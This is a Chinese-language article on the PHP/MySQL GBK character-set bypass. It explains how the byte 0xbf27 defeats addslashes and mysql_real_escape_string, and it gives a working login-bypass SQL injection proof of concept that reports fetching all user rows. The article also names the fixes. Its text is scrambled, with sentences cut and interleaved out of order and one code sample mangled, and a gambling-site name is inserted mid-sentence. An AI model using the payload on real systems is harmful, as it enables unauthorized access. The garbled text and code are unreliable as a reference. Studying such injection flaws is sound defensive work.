PHP字符编码绕过漏洞总结

首先:不要使用mysql_escape_string,它已被弃用,请使用mysql_real_escape_string代替它。

      其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后

mysql_real_escape_string和addslashes的区别在于:区别一:addslashes不知道任何有关MySQL连接的字符集。如果你给所使用的MySQL连接传递一个包含字节编码之外的其他编码的字符串,它会很愉快地把所有值为字符‘、“、和x00的字节进行转义。如果你正在使用不同于8位和UTF-8的其它字符,这些字节的值不一定全部都是表示字符‘、“、和x00。可能造成的结果是,MySQL接收这些字符后出现错误。

变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触

如果要修正这个bug,可尝试使用iconv函数,将变量转为UTF-16,然后再使用addslashes进行转义。

发了。

这是不使用addslashes进行转义的原因之一。

     mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相

区别二:与addslashes对比,mysql_real_escape_string同时还对r、n和x1a进行转义。看来,这些字符必须正确地告诉MySQL,否则会得到错误的查询结果。

应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

这是不使用addslashes进行转义的另一个原因。

方法一:

addslashes V.S. mysql_real_escape_string

改变mysql配置文件my.cnf

在GBK里,0xbf27不是一个合法的多字符字符,但0xbf5c却是。在单字节环境里,0xbf27被视为0xbf后面跟着0×27,同时0xbf5c被视为0xbf后面跟着0x5c。

CODE:

一个用反斜杠转义的单引号,是无法有效阻止针对MySQL的SQL注入攻击的。如果你使用addslashes,那么,我是很幸运的。我只要注入一些类似0xbf27,然后addslashes将它修改为0xbf5c27,一个合法的多字节字符后面接着一个单引号。换句话说,我可以无视你的转义,成功地注入一个单引号。这是因为0xbf5c被当作单字节字符,而非双字节。

[client]
default-character-set=GBK

在这个演示中,我将使用MySQL 5.0和PHP的mysqli扩展。如果你想尝试,请确保你使用GBK。

方法二:

创建一个名为users的表:复制代码 代码如下:CREATE TABLE users CHARACTER SET GBK,password VARCHAR CHARACTER SET GBK,PRIMARY KEY;下面的代码模拟只使用addslashes对查询数据进行转义时的情况:复制代码 代码如下:real_connect('localhost', 'lorui', 'lorui.com', 'lorui_db');/* SQL注入示例 */$_POST['username'] = chr . ‘ OR username = username /*'; $_POST['password'] = ‘guess'; $mysql['username'] = addslashes; $mysql['password'] = addslashes; $sql = “SELECT * FROM users WHERE username = ‘{$mysql['username']}' AND password = ‘{$mysql['password']}'”; $result = $db->query; if { /* 成功 */ } else { /* 失败 */ }

在建立连接时使用

尽管使用了addslashes,我还是可以在不知道用户名和密码的情况下成功登录。我可以轻松的利用这个漏洞进行SQL注入。

CODE:

金沙官网线上,要以免这种漏洞,使用mysql_real_escape_string、准备语句(Prepared Statements,即“参数化查询”)或者任意一款主流的数据库抽象类库。

SET CHARACTER SET 'GBK'

例:mysql_query("SET CHARACTER SET 'gbk'", $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞

下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码

<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; 
$_POST['password'] = 'anything'; 

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

本文由金沙官网线上发布于编程,转载请注明出处:PHP字符编码绕过漏洞总结

您可能还会对下面的文章感兴趣: